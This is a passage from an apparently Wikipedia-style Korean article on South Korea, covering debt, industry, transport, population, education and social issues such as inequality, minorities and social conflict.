조선민주주의인민공화국의 대남 도발로 인한 남북 관계 경색으로 가동이 전면 중단된 상태이다. 부채 대한민국의 가계부채는 1999년 ~ 2001년 급증, 2002년 ~ 2004년 감소, 다시 2005년 ~ 2007년 까지 급증, 이후 2008년 금융 위기로 그 증가세가 지속되어 2011년 처음으로 가구당 가계부채가 5000만원을 넘어섰다. 이는 자산 증가보다 부채 증가가 더 빨라짐에 따라 빚을 갚을 능력이 악화됐기 때문이다.[43][44] 특히 소득이 적을수록 부채상환 능력이 크게 떨어졌는데, 2010년 소득 하위 20%의 가처분소득 대비 부채비율이 2009년 보다 68.2% 급증한 279.5%에 이르러 소득의 3배에 달하였다. 이는 소득이 적은 20, 30대 가구와 저소득층의 재무건전성 악화를 보여주고있다.[44] 이는 저축은행들이 건설업체의 잇따른 부도로 프로젝트 파이낸싱(PF) 대출이 부실해지면서 금리가 높은 가계대출 비중을 늘림과 더불어[45] 전월세값을 포함한 물가의 급등과 교육비 지출에 따른 ‘생계형 대출’이 증가하였기 때문이다.[44] 축소된 가계부채 상환 능력에 대하여 이명박 정부는 고소득층의 가계 빚이 가계부채의 70% 가량을 차지하고 있으므로 빚을 갚을 능력이 양호하며 자산불평등도 외국에 비해 낮다는 것을 이유로 당장 한국 경제에 부담이 될 가능성이 낮다는 반응을 보이고 있다. 그러나 20, 30대와 저소득층의 가계부실이 본격화되면 미국이나 유럽처럼 '가계부채 대란'이 현실로 나타날 수 있다는 지적도 나오고 있는 실정이다.[44] 정부와 공기업의 공공부분 부채는 2011년 3분기 말 한국은행이 파악한 것만 789조 3600억 원으로 1년 만에 9.2% 급증했으며 이중 공기업의 부채는 1년 만에 14.4%나 급증한 363조 8000억 원으로 집계됐다. 공기업 부채가 크게 늘어난 것은 정부가 보금자리 주택이나 4대강 공사 등 국책 사업에 필요한 자금을 공사채 발행 등으로 마련한 결과로 보고있다.[46] 소득 양극화 지수는 2003년 기준으로 증가세가 2006년 2.12%, 2008년 2.05%, 2010년 0.89%로 계속 증가하고 있으나 조금 둔화되는 모습을 보였다.[47] 소득 불평등도를 나타내는 지니 계수는 2003년 기준으로 증가세가 2009년 5.65%, 2010년 2.73%으로 계속 높게 나타났다.[47] 공적연금 지출은 30개국 중 29위, 여성 경제활동 참가율은 30개국 중 30위로 나타났다.[48] 산업 농업 1960년대까지의 대한민국의 주요 산업은 농업에 의존하였다. 1963년 이후 집권한 박정희는 공업화, 산업화 정책을 추진하였고 농업인구는 격감하여 1970년 1천4백42만 명으로 전체인구의 44.7%였고, 2010년 기준 한국의 농업인구는 3백2만1천명으로 전체 인구의 7.5%를 차지, 10% 아래로 떨어졌다. 이와 함께 농업인구의 고령화 까지 진행되면서 나중에 식량위기가 올 가능성이 제기되고 있다. 하이닉스의 DRAM. 2008년도 제2사분기의 시장 점유율 조사에 따르면 삼성과 하이닉스가 각각 1, 2위를 차지했다.[49] 공업 대한민국의 공업은 중급수준의 기술을 요하는 산업들에 특화되었고, 주요 산업으로는 조선, 전자, 자동차, 반도체 등이 있다. 특히 조선 산업은 2008년 기준 세계 전체 점유율의 절반을 넘어섰으며[50], 전자 산업은 삼성전자와 LG전자가 있다. 자동차 생산력은 세계 5위[51] 이며, 현대자동차와 기아자동차가 수출을 주도하고 있다.[52] 최근 로봇, 친환경 에너지 등의 미래형 산업에 대한 투자와 지원 또한 늘리고 있다. 반면, 국가경제 발전수준에 비해 서비스업이 국가경제에서 차지하는 비중은 매우 낮은 편이며, 발달수준도 미흡한 편이다. 현재 대한민국의 경제는 삼성, 현대자동차와 같은 재벌 대기업에 상당히 의존하고 있는 편이다. 한국 공업의 역사는 정확하지 않으나 고대부터 제철, 제련 공업이 발달하였다. 구한말과 일제 강점기에는 일본 제국의 경제적 수탈을 목적으로 근대적인 공업 시설이 건립되었고, 일본의 자본이 한국에 유입되었다. 일본 자본의 유입에 맞서 국채 보상 운동이 자발적으로 확산되었고 1920년대에는 김성수는 자본을 투자하여 경성방직, 경성직류 등 방직과 면 공업을 육성하여 민족자본을 형성하기도 하였다. 1923년부터는 조만식, 안재홍, 김성수 등에 의해 물산 장려 운동이 진행되어 국산 공업품을 활용하자는 운동이 일어나기도 하였다. 그러나 일본의 대륙 침략을 위한 군수 공업으로 일변화 된 한국의 공업은 정상적으로 성장할 수 없었다. 광복 이후에도 한국의 공업 수준은 미미했으나, 1960년대 이후 출범한 제3공화국 정권은 경제성장의 기반으로 공업화 정책을 추진하였다. 이후 60년대에는 수공업, 수제품 공업, 기술, 근로자 파견 위주로 진행되었고, 식료품과 담배, 섬유 공업을 기반으로 하는 수입 대체 산업이 발달하였다. 70년대에는 중화학 공업, 제조업, 수출 위주의 공업정책이 진행되었다. 1980년대 이르러 섬유, 의류 산업뿐 아니라 전자 제품, 건설, 중화학 공업이 발달하게 되었다. 동반 성장 대한민국의 골목 상권은 정부가 개입, 규제하지 않는 시장경제를 채택하였고 군사정권 몰락 이후 이러한 시장경제 체제가 대폭 확산되고 있다. 따라서 기업형 슈퍼마켓(SSM), 빵집 등, 프랜차이즈와 대기업의 다양한 분야 시장 독과점화가 진행되고 있다는 지적도 있다. 이에 따라 정부는 2010년 동반성장위원회를 출범시키고[53], 중소기업적합업종을 선정[54], 대통령이 직접 언급 하는[55] 등 제재가 가해지고 있다. 이에 일부 대기업이 속속 사업에서 철수하는 모습을 보이고 있으나[56] 기업형 슈퍼마켓 기업은 중소 업체를 사들이는 등 여전히 많은 대기업은 몸집을 불려나가고 있다는 지적도 있다.[57] 교통 이 부분의 본문은 대한민국의 교통입니다. 고속도로 노선도 육상 교통 도로 국도 제35호선 우회도로 대한민국의 일반 국도, 대한민국의 고속도로, 대한민국의 도로 문서를 참고하십시오. 대한민국에는 우측 통행을 하며, 자동차 운전석은 왼쪽에 있다. 4,000km에 달하는 31개의 고속도로 및 국도, 지방도 등의 도로가 있어 대한민국의 교통을 담당하고 있다. 현재 경부고속도로는 노선의 일부[58] 이며 국도 제7호선은 노선의 일부이다. 1990년대 이후 민간 자본을 투자한 민자 고속도로와 민자 역사 시설 운영도 진행되고 있는 한편, 공기업 형태의 도로교통공단이 기타 도로·철도 시설의 안전을 관리하고 있다.[출처 필요] 버스 메트로버스 200번 대형차량 (현재 폐선) 전국적으로 버스의 하루 평균 이용객 수는 1462만명이다. 과거에는 현금과 함께 회수권과 토큰을 사용했으나 최근에는 교통카드를 이용하는 지역이 대부분이며 현금도 대부분 사용 가능하나 환승 혜택이 없다. 또한 교통카드를 통한 환승 할인 혜택 등으로 사용자를 유도하는 중이다. 또한 이를 통한 도시철도와의 연계를 목적으로 수도권의 버스 노선 체계는 이명박 전 서울시장을 중심으로 완전히 재편되었고 수도권 통합요금제가 수립되게 되었다. 현재 버스 체계는 크게 시내버스와 시외버스로 나눌수 있으며 시내버스 특정 지역의 면허에 귀속된다. 또한 비교적 작은 지역에서의 운행을 위한 마을버스도 부산, 서울, 경기도 등에서 운행되는 중이다. 시내버스의 경우 시계를 넘어서면 시계 추가 요금이 부과되며 서울, 경기도, 인천의 시내버스는 거리에 따른 추가 요금이 부과된다. 시외버스는 시외버스터미널이나 시외버스정거장에서 주로 승하차가 이루어지며 대부분 교통카드를 사용할 수 없지만 가끔씩 사용 가능한 노선도 있다. 현재 대한민국의 버스 회사 중에서는 KD그룹이 가장 규모가 크며 대한민국내 여객용 버스의 10%를 소유하고 있으며 경기도 노선의 절반을 관리한다. 또한 현재 자가용 이용자들을 대중교통으로 유도하기 위해 버스전용차로제를 도입했다. 최근에는 장애인들을 배려하기 위하여 저상버스를 도입하는 자치 단체들이 생기고 있으며 수도권의 도심 지역의 혼란이 극심한 대한민국의 상황에 걸맞은 굴절버스를 수도권 일부 지역에서 도입하였으나 대부분 비용 문제 등으로 취소되었다. 철도 한국철도공사는 시속 300km의 KTX 열차를 도입하였다. 대한민국의 철도 문서를 참고하십시오. 대한민국의 철도 및 광역전철의 총 연장 길이는 3,000km에 달한다. 이러한 대한민국의 철도시설은 1963년 9월 1일 교통부 산하에 철도청을 신설하여 이때부터 국가가 체계적으로 관리하였으나 2005년에는 기업체로 전환하여, 공기업의 형태인 한국철도공사와 한국철도시설공단에서 국유 철도를 관리하고 있다. 특히 경의선 철도는 평부선·평의선과 시베리아 횡단철도와의 연결을 추진하고 있다.[59] 대한민국의 대표적인 철도선에는 경부선, 호남선, 중앙선, 장항선, 경전선, 경춘선, 충북선, 그리고 전라선이 있다. 또 2016년 12월에는 한국철도공사가 자본을 출자하여 설립된 민간기업 SR에서 운행하는 SRT가 개통되며 철도경쟁시대가 도래했다. 대한민국의 도시철도는 수도권지역과 부산지역, 대구광역시, 대전광역시, 광주광역시 등에서 운행되고 있다. 시내를 운행하는 도시철도를 일컬어 '지하철' 또는 '전철' 등으로 부르기도 한다. 1974년 8월 15일 처음으로 개통된 수도권지역은 1~9호선과 분당선, 중앙선, 경의선, 경춘선, 인천 1호선, 인천국제공항철도, 신분당선, 수인선, 용인경전철, 의정부경전철 까지 총 19개 노선이 운행되고 있으며 전국에서 가장 규모가 크다. 기본요금은 평균적으로 교통카드 이용시 최초 10km까지 1050원, 그이후 5;km 초과시마다 100원씩 추가된다. 그러나 민영 도시철도인 신분당선은 기본요금이 1,750원이고, 다른 노선에서 신분당선으로 환승할 경우 700원이 추가된다.[60] 수도권 전철은 인천 도시철도, 인천공항, 김포공항과도 연결된다. 1985년 개통된 두 번째로 큰 부산 도시철도는 총 길이 131.7km에 1호선, 2호선, 3호선, 4호선, 부산김해경전철 5개 노선이 운행되고 있으며, 이외에도 대구지하철 1호선, 2호선 2개 노선이 운행되고 대전지하철 1호선 1개노선이 운영, 광주1호선 1개 노선 운행 등 일부 광역시들을 중심으로 도시철도가 계속되어 건설중이다. 요금은 각 지자체에서 따로 규정하여 조금씩 다르다. 복지 정책으로 65세 이상의 노인과 장애인, 국가유공자는 무임으로 승차할 수 있다.(부산-김해 경전철은 노인도 유임승차) 서울 9호선 고속터미널역의 내부모습. 대한민국의 도시철도는 대체로 운행 시간이 정확하고 위생환경과 전반적인 이용이 쾌적하다는 긍정적인 평가를 받으나 실내먼지 오염농도가 높고, 출퇴근 시간에 사용자가 많은 일부 역에서 극심한 혼란이 빚어지는 등 개선점도 지적되고 있다. 또한, 과거에는 의자 등의 내부 자제들을 합성수지로 된 쿠션을 많이 사용하였으나 2003년 대구 지하철 화재사고 이후로 모든 자제들을 불연성 재질로만 사용하도록 규정이 변경되어 현재 모든 지하철과 전철에 적용되어 있고 방독면이나 소화기 등도 잘 비치되어 있다. 이 외에 선로 추락 사고나 자살 등을 예방하기 위한 대책으로 현재 수도권지역의 모든 역에 스크린도어를 설치 하였으며[61] 최근에 개통한 부산, 대구, 대전, 광주의 일부 도시철도 승강장에도 스크린도어가 설치되어있는 경우가 있고 부산 도시철도의 경우 모든 승강장에 안전펜스와 스크린도어를 설치하였다.[62] 최근에 대한민국의 지방자치단체들은 도시철도로써 건설비가 많이드는 중전철보다 경전철을 선호하여 전국 각지에서 운행중이거나, 계획과 건설이 이루어지고 있다. 항공 교통 대한민국에는 8개의 국제공항과 7개의 국내선 공항이 대한민국 내외의 항공 교통을 담당하고 있다. 항공교통은 광복 후 1948년 대한국민항공사(KNA)가 설립되어 국내선을, 1954년 이후 국제선을 운항하였다. KNA는 1962년에 대한항공공사로 개칭하고 국영으로 운영되다가, 1969년 한진상사가 인수하여 대한항공으로 개명하고 민영으로 운항되면서 급속한 성장을 보였다. 1988년 제2민간항공사업이 허가됨으로써, 금호그룹의 아시아나항공과 함께 경쟁체제로 바뀌었다. 또한 대한항공은 2007년 기준으로 약 100억 톤의 화물을 처리하였다. 최근에는 진에어, 에어부산 등 여러 저가항공사도 운행되고 있다. 해상 교통 수출입화물운송에서 절대적인 지위를 점하고 있는 해운업은 선박의 노후화, 선원부족, 비용가중이라는 내부적 문제에 비국적선 취항증가로 경영압박을 받고 있다. 2002년 말 전국의 항만수는 총 49개항이며, 이 중 무역항이 27개, 연안항이 22개항이다. 이들 항만의 연간 하역능역은 2억7,259만5,000톤으로 1988년의 1억7,077만톤보다 약 1.6배 증가했다. 선박등록현황은 총 763만 7,549톤(6,792척)이며, 이 중 여객선 12만 4,513톤(190척), 화물선 521만 4,636톤(725척)이고, 외항선박들의 주요정기항로 취항현황을 보면 북미 25척, 동남아 48척, 한일항로 55척 등이다. 사회 이 문단의 내용은 출처가 분명하지 않습니다. 지금 바로 이 문단을 편집하여, 참고하신 문헌이나 신뢰할 수 있는 출처를 각주 등으로 표기해 주세요. 검증되지 않은 내용은 삭제될 수도 있습니다. 내용에 대한 의견이 있으시다면 토론 문서에서 나누어 주세요. (2019년 2월 2일에 문단의 출처가 요청되었습니다.) 이 문단의 일부는 오래된 정보를 가지고 있어 최신 정보로 교체되어야 합니다. 검토 후 최신 사건이 반영되도록 문서를 수정해 주세요.내용에 대한 의견이 있으시다면 토론 문서에서 나누어 주세요. (2019년 2월 2일) 2010년 10월 대한민국의 총인구는 주민등록상 5000만 명을 돌파했다. 대한민국의 모든 국민은 자동으로 건강보험에 의무적으로 가입되며 국가가 피부양자로 지정된다. 초등학교 6년과 중학교 3년은 무상의무교육이다. 민주화 이후의 한국 사회는 보수와 진보의 극심한 이념 대립 등에서 기인한 사회 갈등이 존재한다. 인종이나 민족에 대한 명확한 통계는 나온 적이 없으나, 국민의 대부분은 한국어를 모국어로 사용하는 한민족이다. 고대부터 중국 대륙 등지로부터의 인구 유입도 잦았으나 그들도 같은 민족으로 융화되었다. 다만 독립 이후 중국, 동남아시아를 비롯한 제 국가로부터의 이주가 늘어나면서 다민족적인 요소 또한 증가하고 있다. 대한민국에 살고 있는 외국인은 150만 명 정도인데, 이 가운데 가장 인구가 많은 외국인은 중국인으로 그 중 상당수는 한국계 중국인에 해당한다. 그 외의 외국인으로는 미국, 일본, 인도네시아, 필리핀, 베트남, 태국, 캄보디아, 라오스, 러시아, 우즈베키스탄 등의 출신의 사람들이 거주하고 있다. 사회적 약자 노동자 2016년 8월 기준 전체 대한민국의 임금노동자는 19,627,000명으로 그 가운데 2,664,000명이 최저임금보다 낮은 보수를 받고 일하는 것으로 추산됐다고 통계청은 전했다. 고용노동부가 발표한 '2016년 전국 노조 조직현황'에 따르면 국내 전체 노조 조직률은 전년보다 0.1%포인트 오른 10.3%로 집계됐다. 노조 조합원 수는 196만6681명으로 전년보다 2만8136명(1.5%) 증가했다. 이 수치는 전교조가 법외노조가 되며 통계에서 빠진 수치이다.[63] 대한민국의 노동조합 연맹체로는 전국민주노동조합총연맹(민주노총), 한국노동조합총연맹(한국노총) 등이 있다. 성소수자 이 부분의 본문은 대한민국의 성소수자입니다. 성 소수자, 동성애 혐오#한국의 동성애자 탄압, 청소년 성소수자의 자살 문서를 참고하십시오. 대한민국에서는 수구, 기독교 근본주의 세력에 의한 성소수자 혐오와 차별 등이 존재해 왔다. 대한민국에서는 2000년 홍석천, 하리수, 이시연 등의 등장 이전에는 성소수자라는 사실을 밝히기만 해도 주변에서 따돌림, 학교 폭력에 노출되거나 취업 등에 불이익 등을 받아왔다. 성소수자들은 1992년 이후 본격적으로 한국 사회에서 목소리를 내기 시작하였으며, 1993년 성소수자 단체 초동회가 처음 결성되고 1년 뒤에는 남자 동성애자인 게이, 트랜스젠더 모임인 친구사이와 레즈비언 단체인 끼리끼리로 분리되었다. 1997년에는 대학생 동성애자 인권단체인 대학생동성애자인권연합이 결성되고 이듬해 동성애자인권연대로 명칭 변경, 2015년 행동하는 성소수자 인권연대로 명칭 변경하였다. 1998년 5월 17일에는 성소수자 인권 운동가 오세인이 1997년 자신이 게이임을 가족에게 밝혔다가 추방당한 후, 활동하던 단체 사무실에서 자살하였고, 2003년 4월 26일에는 동성애자를 악마, 사탄 등으로 비판하는 개신교계의 공격과 동성애를 청소년 유해 단어, 음란물로 지정하려는 움직임 등 성소수자 혐오에 저항하는 활동을 하는 시인 겸 작가 육우당이 끝내 자살하게 되는 사건이 있었다. 2000년 이후 자신이 게이임을 커밍아웃한 홍석천을 시작으로 트랜스젠더인 하리수, 이시연 등의 공개적 활동 등으로 성소수자들에 대한 맹목적 거부감이 사회적으로 서서히 사라지기 시작하였다. 이후 일부 단체와 일부 사회 인사들을 중심으로 성소수자들의 활동을 지지, 성소수자 문화제 개최 등의 행사가 본격 등장하였다. 현재, 대한민국 내 대표적인 성소수자 인권단체 연맹체로는 성소수자 차별반대 무지개행동 (무지개행동)이 있다. 여성 대한민국의 기득권층에서의 여성의 활약이 미미하다고 분석되는데, 2017년 이코노미스트 유리천장 지수에서 한국의 고위직 여성 비율은 10.5%, 기업 이사회 내 여성 임원 비율은 2.4%로 나타나 OECD 29개국 중 최하위를 기록했다. 대한민국 국회 내 여성 비율은 17%로 이는 OECD 평균(28.2%)보다 낮은 수치다. 근 십여 년간 대한민국의 대기업들이 외국인 임원과 여성 관리자를 뽑았지만 그 중 상당수는 몇 년도 버티지 못했다. 2010년 SK의 첫 외국인 여성 임원(2008~2010년)이었던 린다 마이어스는 "한국 기업은 다양성 문제에서 너무 보수적이고 변화에 느리다"고 평가했다.[64] 이주민 중화권, 일본, 동남아시아, 아랍, 독립국가연합 등을 비롯한 세계 여러지역의 사람들과 결혼하는 한국인이 늘고 있으며, 이러한 새로운 형태의 가정을 '이주가정'이라고 부른다. 특히 농촌 지역 기준 결혼 등록건수의 50%에 해당하는 1만여 건 정도가 국제결혼으로 등록되고 있다. 1990년대 초까지 남아선호사상이 잔존하였으며, 1970년대의 박정희 정부의 '둘만 낳자'는 가족 계획과 1980년대 전두환 정부의 '하나 낳아 알뜰살뜰' 등의 가족 계획으로 여자 아이에 대한 낙태 현상 등으로 1970년~1990년대 초반 출생자들 사이에서는 남녀 간의 성 비율이 깨져 여성에 비교하여 남성의 수가 월등히 많은 현상이 도래하였다. 또한 1980년대 후반부터 농촌 기피 현상으로 일부 농촌 지역 노총각들이 결혼, 연애가 어려운 것에 비관하여 자살하는 일이 증가하였으며, 1990년대 이후에는 외국에서 배우자를 찾는 농촌 총각들이 증가하였다. 이주노동자는 1990년대 이후 국민들의 생활수준이 전반적으로 향상되면서 1970년대 이후 고졸이던 평균 학력이 1995년 고교평준화와 학력고사 등의 폐지 이후 대졸 내지는 초대졸로 변화하였다. 그에 따라 청년층이 '3D 업종' 또는 '4D 업종'으로 분류되는 직업을 기피하는 현상이 발생하고 있다.[65] 또한 3D 업종과 4D 업종으로 분류되는 직종 외에도 중소기업과 일부 공장 등에 대한 기피현상이 두드러지게 나타나고 있다. 그로 인해, 각지에서 많은 이주노동자들이 대한민국에 들어와 일하고 있다. 이들은 합법적으로 취업 비자를 받고 입국한 산업연수생과 불법적으로 들어온 불법 체류자로 나뉘는데, 일반적으로 이주노동자라 하면 이들 둘을 통틀어 가리킨다. 2010년 기준으로 대한민국의 이주노동자 수는 55만 명으로, 전체 경제활동인구의 2.2%를 차지하고 있다. 일각에서 이주노동자가 일자리를 빼앗아 간다는 견해가 있음에도 불구하고 이주노동자의 비율은 10% 대를 넘지 않고 있다. 난민 대한민국 내 난민의 대부분은 북측에서 나온 탈북자로, 정부에서는 이들을 특별 취급하여 국적 부여, 생활 지원 등 다양한 혜택을 부여하고 있다. 또한 1990년대 이후 정치적 난민을 인정하기 시작하여 아프리카나 아랍권의 일부 국가로부터 정치적 혹은 종교적 박해를 피해 입국한 이들을 인도적으로 받아들이고 있으나 그 수는 일반적인 선진국에 비해 많지 않다. 인구 이 부분의 본문은 대한민국의 인구입니다. 2012년 6월 23일을 기준으로 대한민국 통계청은 총인구가 5000만명을 돌파했다고 발표했다. 이는 세계 194개국 중 26위이다. 광복 직후에는 해외 동포들이 귀국하고, 6.25전쟁 때에는 조선민주주의 인민공화국인들이 많이 월남했는데 광복 직후에는 약 180만 명, 6.25전쟁에 약 100만 명이 남쪽으로 내려왔다. 1960년대 이후 대도시에 인구가 집중하게 되는 도시화 현상이 일어났으나, 최근에는 쾌적한 생활을 위한 역도시화 현상도 나타나고 있다. 1970년 이전까지 5백여만 명이던 서울의 인구는 1988년에 1천만 명을 돌파하였다. 이후 서울의 인구 증가는 정체 상태에 있으나, 인근 경기도의 인구가 급증하여 2007년 10월말 현재 수도권 거주 인구는 2390만 3785명으로 전국 인구의 48.6%를 차지하였다. 인구 밀도는 503명/km2이다. 1990년대 들어 감소 경향을 보이던 서울의 인구는 2000년대 들어 소폭 증가하기 시작, 2009년에는 1046만명으로 6년 연속 증가했다. 인구 유입등으로 수도권 전체 인구는 증가하는 반면 부산은 지속적 감소로 1995년 381만 명에서 2013년 356만명으로 급감했으나 대신 인근 경상남도 지역의 인구가 증가하고 있다. 대구 역시 253만명에서 252만명으로 줄어들었다. 인천은 약 298만명, 대전 155만명, 광주 148만명 울산 117만명 등이다. 대한민국의 도시화율은 81.5%로, 전 세계적으로 매우 도시화된 국가에 속한다. 대한민국은 1970년을 전환점으로 하여 2% 미만으로 인구 증가율이 감소하는 추세를 보이고 있다. 2009년 기준으로 합계출산율(여성 한 명이 평생 동안 낳는 자녀 수)은 1.19명으로 전년에 비해 0.06명 감소했다. 최근 3년간 출산율이 증가 하였으나 경제위기로 인해 출산율이 감소한 것으로 보인다. 2009년의 출산율은 종전의 2008년 1.19보다도 떨어져 1.15를 기록했다. 출생아수는 445,200명(통계청)으로 여전히 세계 최저수준의 출산율을 기록하고 있어 인구 감소에 큰 영향을 미칠 것으로 전망된다. 통계청의 2009년 10월 출생아수가 40200명에서 40100명으로 축소 수정 발표된 이후 잠정 통계치에서는 37700명으로 2차 축소 수정 발표가 되어 1차 발표치보다 2500명이 줄어들어 발표되었다. 2016년 4월, 행정자치부의 정보에 의하면 현재 대한민국의 인구는 약 51,584,349이고 2017년 2월 행정자치부에 따르면 51,712,221명이다. 도시의 인구 순위 이 부분의 본문은 대한민국의 인구순 도시 목록입니다. 교육과 문화 이 부분의 본문은 대한민국의 교육입니다. 초등학교 6년과 중학교 3년이 의무교육이다. 고등학교는 3년 과정이며, 일반계(인문계, 자연계)·전문계(실업계)·특수 목적 고등학교(특목고)로 분리되어 있다. 고등교육에는 4~6년제 대학교와 2~3년제 전문대학이 있다. 2005 년 인구주택총조사에 따르면, 교육을 받는 정규학교 재학자는 1089만 명(24.7%), 졸업자는 2987만(67.8%), 중퇴자는 96만 명(2.2%)이고, 졸업자는 초등학교 및 중학교 졸업자는 750만 명(24.5%), 고등학교 졸업자는 1263만 명 (41.2%), 대학 졸업 이상은 1050만 명(34.3%)을 나타내는데, 이는 교육 수준이 상당히 높은 것으로 볼 수 있다. 하지만 이러한 높은 교육수준은 대한민국의 교육정책에 의해서 기인된 현상으로 보는 경우가 많으며, 현재에는 오히려 학력인플레이션으로 인해 청년실업의 증가가 사회의 심각한 문제로 대두되고 있다. 대한민국은 대학교 진학률이 다른 국가에 비해 상당히 높은 편이다. 일반적으로 대학교에 진학하려는 사람들은 대학수학능력시험(수능)을 치르게 된다. 대학수학능력시험은 고등학교 졸업 예정자 혹은 고등학교 졸업에 상응하는 학력을 가진 사람이면 누구나 치를 수 있다. 이 외에도 각 대학에서는 수시입학전형, 특별전형 등을 통하여 개별 대학의 요구에 맞는 학생들을 선발하고 있다. 또 대한민국은 사교육 시장이 크게 발달되어있어, 사교육에 들어가는 비용이, 각 가정마다 월평균 70여만원을 웃돌고 있다.[66] 복지 이 문단은 비어있습니다. 내용을 추가해 주세요. 사회 갈등 미국산 소고기 수입 반대 촛불 집회 민주화 이후의 한국 사회는 우파와 좌파의 극심한 이념 대립 등에서 기인한 사회 갈등이 존재한다.[67] 2000년대 들어서 이러한 갈등은 고도로 발달된 인터넷 여론에 기반한 전국적인 규모의 촛불 집회로 종종 표출되었다. 이러한 대한민국의 대규모 촛불 집회에 대한 평가는 이념 진영에 따라 판이하게 다르다. 촛불 집회에 대하여 좌파진영은 시민들의 민주 의식 신장에 따른 자연스러운 현상[68]으로 민주주의의 필수 요소인 시민의 적극적 참여를 이끌어 냈다는 점, 인터넷을 통해 직접민주주의에 다가갔다는 점에서 긍정적으로 평가한다. 하지만 우파진영은 선동에 의한 자유민주주의의 왜곡과 특정 정파 이해집단의 욕구를 위한 창구로 활용된다는 점을 들어 사회 혼란, 경제적 손실을 초래했다고 평가한다.[69] 또한 한국의 노사갈등에 대하여 상당수의 국민들이 문제라고 인식하고 있으며,[70] 국제경영개발원에 의하면 한국의 노사관계는 57개국 중 56위로 선정되어 시급한 문제로 꼽히고 있다.[71] 이념 대립의 연장선에서 자유민주주의의 실현 방식에서 국가주도의 사회운영과 성장을 주장하는 국가주의세력과 개인의 자유에 따른 사회운영을 주장하는 동시에 분배를 중시하는 자유주의·진보주의 세력간 논리의 충돌도 있다. 이는 서방세계와 같은 좌우대립의 이념지형이 제대로 형성되지 않은데서 기인한 사회 갈등인데 그 원인으로 일각에서는 대한민국이 반공반북을 중요시하여 좌파의 존재를 부정해야 하는 환경이 장기간 지속되었고 1980년대 학생·노동운동 진영에 의해 만들어진 좌우대립의 이념지형도 1990년대 초 세계적인 공산주의의 몰락으로 사라져 서방세계와 같은 이념지형이 형성되지 못했기 때문이라고 보고 있다.[72] 갈등·소통 지수 대한민국의 갈등 지수는 2009년 삼성경제연구소가 조사한 결과 OECD 회원국 중 4위에 해당하였으며, 이 같이 높은 사회 갈등에 따른 비용으로 국내총생산(GDP)의 27%인 약 300조원을 지출하고 있는 것으로 나타났다.[73] 대한민국의 소통 지수는 2011년 아시아포럼21이 조사한 결과 100점 만점 중 이명박 정부의 소통 지수는 45.8점, 한나라당의 소통 지수는 42.6점, 기성세대와 젊은세대 간 소통 지수는 36.2점으로 모두 50점 이하인 걸로 나타났다.[74] 사회 지표 삶의 질 삶의 질은 2011년 8월 21일 기획재정부가 한국개발연구원(KDI)에 의뢰해 순위를 매긴 결과, 경제협력개발기구(OECD)와 주요 20개국(G20) 회원국 39개국 가운데 27위에 그친 것으로 나타났다. 대한민국의 삶의 질은 지난 2000년과 2008년 모두 27위로 하위권에 머물렀었다.[75] 행복 지수 행복지수는 OECD 평가 국민 행복도에서는 34개 나라 중 26위, 영국 NEF재단의 행복도 조사 결과에서는 68위, 미국 포브스의 행복순위 조사 결과에서는 56위, MBN과 매일경제신문의 국민 행복지수 조사에서는 5점 만점에, 3.4점으로 해외 평가선 낙제점을 겨우 면한 수준으로 나타났다.[76] 어린이·청소년 행복지수는 한국방정환재단과 연세대 사회발전연구소가 2011년 3월 ~ 4월 간 조사한 결과 OECD 23개 회원국 중 23위로 최하위에 해당하였다.[77] 이혼율 이혼율은 OECD 국가 중 2000년 8위[78], 2001년 4위[79],[80] 자살률 대한민국의 자살 문서를 참고하십시오. 대한민국의 자살률은 전 세계 6위이다.[81] 그 외 사회복지 지출은 34개국 중 33위이나 사회복지 지출 증가율은 34개국 중 4위로 나타났다. 부패지수는 30개국 중 22위(부패지수가 높을 수록 청렴하다.), 공동체 구성원 간 신뢰도는 19개국 중 13위, 법치에 대한 인식은 34개국 중 25위로 나타났다.[48] 심리 인종 차별이 다른 아시아 국가에 비해서 유독 심하며, 백인은 차별이 거의 없으나, 흑인 및 황인은 오히려 차별을 당하는 경우가 많다.[82] 또한, 한국어를 모르는 아프리카 및 동남아시아 사람들에게도 차별 대우를 하는 경우가 있으며, 유럽 같은 경우에는 차별이 그렇게 심하지 않다. 경쟁 심리도 심각하다. 대한민국은 어려서 부터 성적, 경쟁 위주의 교육과 문화 속에서 성장하게 함으로써 경쟁과 그 속에서 살아남는 법을 배우게 한다. 이에 따라 남과 나를 비교하며 오직 높은 곳만을 추구하게 되는데, 이는 성인이 되어서 학력위주 경쟁, 스펙위주 경쟁, 실적위주 경쟁, 외모지상주의, 물질만능주의 등으로 획일화 된다.[83][84][85][86] SBS와 한국갤럽이 2011년 천 명을 대상으로 설문조사한 결과, 우리 사회의 경쟁 수준은 평균 76점으로 10년 전보다 20점 가까이 높아져 경쟁이 계속 가속화 됨을 보여주었으며, 국민 10명중 8명이 "과도한 경쟁에 부담을 느낀다"고 대답하여 상당수가 부담감을 느끼는 것으로 나타났다.[84][87] 경쟁은 모두를 스트레스 속에 놓이게 하며, 장기간 스트레스는 매우 예민해지게 만들고, 분노, 불면증, 우울증 등의 신체·정신적 증상을 동반하게 된다.[88] 그래서 이를 담당하는 정신과 진료와 심리 상담 치료의 횟수가 늘어나고 있으나, 여전히 언덕위의 하얀집으로 불리는 등 차별의 대상이 되고있어 상당수가 기피하는 실정이다.[89][90][91] 또 경쟁은 다수의 패배자를 생산하게되는데, 이는 다수의 자존감 저하와 수치심, 분노심 상승의 원인이 되고있다.[83][84] 결국 사회 전반의 동질성 추구와 이질성 거부 심리, 경쟁 심리는 복합적으로 작용하여 외국인 차별, 왕따, 학교 폭력, 인터넷 악플 등으로 표출되고 있으며, 이에 따른 피해로 정신 이상자의 수를 늘리거나, 그런 정신 이상자를 방치하게 되어 자살자를 늘리거나, 사회에 불만을 품고 불특정 다수에게 행하는 묻지마범죄의 수를 늘리는 결과를 가져오고있다.[92][93] 이에 유엔 아동권리위원회는 2011년 10월 '대한민국 3, 4차 정부보고서에 대한 아동의 권리에 관한 협약 최종 견해'라는 보고서를 통해 학생의 성적에 따른 차별과 경쟁적인 교육체제에 대해 지적하며 개선을 요구하였다.[94][95] 대응 학력 차별에 대한 대응으로 이명박 대통령은 2011년 라디오 연설에서 '학력차별 없는 사회'를 강조하였으며, 고용노동부가 고등학교 직업 교육에 지원을 강화하는 등 능력 중심의 열린 고용 지원에 나서고 있다.[96] 하지만 백혈병이 생겨 산업 재해로 인정 받는 학생이 나오는 등 고등학교 현장 실습이 노동력 착취 수단으로 이용되는 경우가 많은 상황이다.[97] 2011년 정부에 의해 명칭을 '정신과'에서 '정신건강의학과'로 변경하는 등 다양한 진료를 하는 분야임을 알리기 위한 시도를 하고 